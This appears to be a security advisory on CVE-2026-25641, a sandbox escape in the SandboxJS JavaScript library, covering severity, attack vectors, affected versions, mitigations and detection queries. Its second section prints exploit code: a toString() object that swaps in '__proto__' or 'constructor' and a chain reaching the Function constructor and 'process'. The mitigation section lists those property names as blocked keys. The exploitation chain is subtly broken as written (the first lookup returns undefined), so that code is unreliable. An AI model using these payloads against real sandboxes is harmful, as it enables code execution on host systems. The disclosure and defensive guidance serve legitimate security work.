CVE-2026-25641: Professional Cybersecurity Analysis

Executive Summary

CVE-2026-25641 represents a critical sandbox escape vulnerability in SandboxJS, a JavaScript sandboxing library, with a maximum CVSS score of 10.0. The vulnerability exploits a type coercion mismatch between validation and property access operations, allowing attackers to bypass sandbox restrictions entirely. This represents a complete failure of the security boundary that SandboxJS is designed to enforce.

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1. Vulnerability Assessment and Severity Evaluation

Severity Classification

• CVSS Score: 10.0 (Critical)
• Vulnerability Type: Sandbox Escape / Security Boundary Bypass
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None

Technical Assessment

The vulnerability stems from a Time-of-Check to Time-of-Use (TOCTOU) race condition combined with JavaScript's type coercion behavior:

Root Cause:

• The library validates property keys using hasOwnProperty(key) at one point in execution
• The same key variable is later used for actual property access
• Despite type annotations indicating string, runtime enforcement is absent
• Attackers can provide objects with custom toString() methods that return different values on successive calls

Critical Factors:

1. Complete Security Boundary Failure: Sandbox escapes represent total compromise of the isolation mechanism
2. Type System Bypass: Demonstrates failure to enforce TypeScript/JavaScript type constraints at runtime
3. Predictable Exploitation: The vulnerability follows a well-understood pattern of type coercion attacks

Severity Justification

The CVSS 10.0 score is warranted because:

• Confidentiality Impact: HIGH - Complete access to host environment
• Integrity Impact: HIGH - Arbitrary code execution outside sandbox
• Availability Impact: HIGH - Potential for system compromise
• Scope: CHANGED - Breaks out of security boundary
• Attack Vector: NETWORK - Exploitable remotely through untrusted code execution

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2. Potential Attack Vectors and Exploitation Methods

Attack Vector Analysis

Primary Attack Vector: Applications using SandboxJS to execute untrusted JavaScript code from:

• User-submitted scripts
• Third-party plugins
• Dynamic code evaluation systems
• Low-code/no-code platforms
• Educational coding environments
• Browser extensions with sandboxed components

Exploitation Methodology

Proof-of-Concept Pattern:

// Malicious object with state-dependent toString()
const maliciousKey = {
  callCount: 0,
  toString: function() {
    this.callCount++;
    // First call (validation): return safe property
    if (this.callCount === 1) {
      return "safeProperty";
    }
    // Second call (access): return dangerous property
    return "__proto__";
  }
};

// When SandboxJS processes this:
// 1. hasOwnProperty(maliciousKey) → converts to "safeProperty" → passes validation
// 2. obj[maliciousKey] → converts to "__proto__" → accesses prototype chain
// Result: Sandbox escape via prototype pollution or constructor access

Advanced Exploitation Techniques:

1. Prototype Pollution:

   • Access __proto__, constructor, or prototype properties
   • Modify global object prototypes
   • Inject malicious properties into all objects

2. Constructor Access:

   • Reach Function.constructor to create arbitrary functions
   • Execute code outside sandbox context
   • Access Node.js require() or browser APIs

3. Symbol-based Attacks:

   • Use well-known symbols that coerce differently
   • Bypass property enumeration checks

Example Exploitation Chain:

// Step 1: Escape sandbox
const escape = {
  i: 0,
  toString() { return this.i++ ? "constructor" : "safe"; }
};

// Step 2: Access Function constructor
const FunctionConstructor = ({})[escape][escape];

// Step 3: Execute arbitrary code
const malicious = FunctionConstructor('return process')();
malicious.exit(1); // Or exfiltrate data, install backdoors, etc.

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3. Affected Systems and Software Versions

Directly Affected Software

• SandboxJS: All versions prior to 0.8.29
• Vulnerable Version Range: < 0.8.29
• Fixed Version: 0.8.29 and later

Potentially Affected Ecosystems

1. Node.js Applications:

• Server-side JavaScript execution platforms
• Serverless function environments
• API gateways with dynamic code execution
• Content Management Systems with scripting capabilities

2. Browser-based Applications:

• Online code editors (CodePen, JSFiddle alternatives)
• Educational platforms (coding bootcamps, tutorials)
• Browser-based IDEs
• Client-side plugin systems

3. Enterprise Systems:

• Workflow automation platforms
• Business process management tools
• Integration platforms (iPaaS)
• Custom scripting engines in enterprise software

4. Development Tools:

• Testing frameworks
• Code analysis tools
• Documentation generators with live examples

Dependency Chain Risk

Organizations must audit:

• Direct dependencies on SandboxJS
• Transitive dependencies (packages that depend on SandboxJS)
• Forked or vendored copies of the library
• Similar sandboxing libraries with comparable implementations

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4. Recommended Mitigation Strategies

Immediate Actions (Priority 1)

1. Version Upgrade:

# NPM
npm update sandboxjs@latest
npm audit fix

# Yarn
yarn upgrade sandboxjs@latest

# Verify version
npm list sandboxjs

2. Emergency Workarounds (if immediate upgrade impossible):

• Disable untrusted code execution features
• Implement additional input validation layers
• Deploy Web Application Firewall (WAF) rules to detect exploitation attempts
• Increase logging and monitoring for sandbox escape indicators

Short-term Mitigations (Priority 2)

1. Defense-in-Depth Measures:

// Add explicit type enforcement wrapper
function sanitizeKey(key) {
  // Force string conversion and freeze result
  const stringKey = String(key);
  
  // Reject dangerous property names
  const blacklist = ['__proto__', 'constructor', 'prototype'];
  if (blacklist.includes(stringKey)) {
    throw new Error('Forbidden property access');
  }
  
  return stringKey;
}

2. Runtime Monitoring:

• Implement anomaly detection for property access patterns
• Monitor for prototype chain manipulation
• Log all sandbox execution attempts with full context

3. Process Isolation:

• Execute sandboxed code in separate processes (Node.js child processes)
• Use OS-level sandboxing (containers, VMs)
• Implement resource limits (CPU, memory, execution time)

Long-term Strategic Mitigations (Priority 3)

1. Architecture Review:

• Evaluate necessity of dynamic code execution
• Consider alternative approaches (DSLs, configuration-based logic)
• Implement principle of least privilege

2. Security Hardening:

// Implement frozen realms or compartments
const compartment = new Compartment({
  globals: Object.freeze({
    // Only expose safe APIs
    Math: Math,
    JSON: JSON
  })
});

3. Vendor Security Assessment:

• Establish security requirements for third-party libraries
• Implement continuous dependency scanning
• Maintain Software Bill of Materials (SBOM)

4. Incident Response Preparation:

• Develop playbooks for sandbox escape scenarios
• Establish indicators of compromise (IoCs)
• Create rollback procedures

Detection and Monitoring

Indicators of Exploitation:

• Unusual property access patterns in logs
• Attempts to access __proto__, constructor, prototype
• Objects with custom toString() or valueOf() methods in user input
• Unexpected process spawning or network connections from sandboxed contexts
• Prototype pollution signatures

SIEM/Log Analysis Queries:

# Example detection logic
event.type:"property_access" AND 
(property_name:"__proto__" OR property_name:"constructor") AND
source:"sandboxjs"

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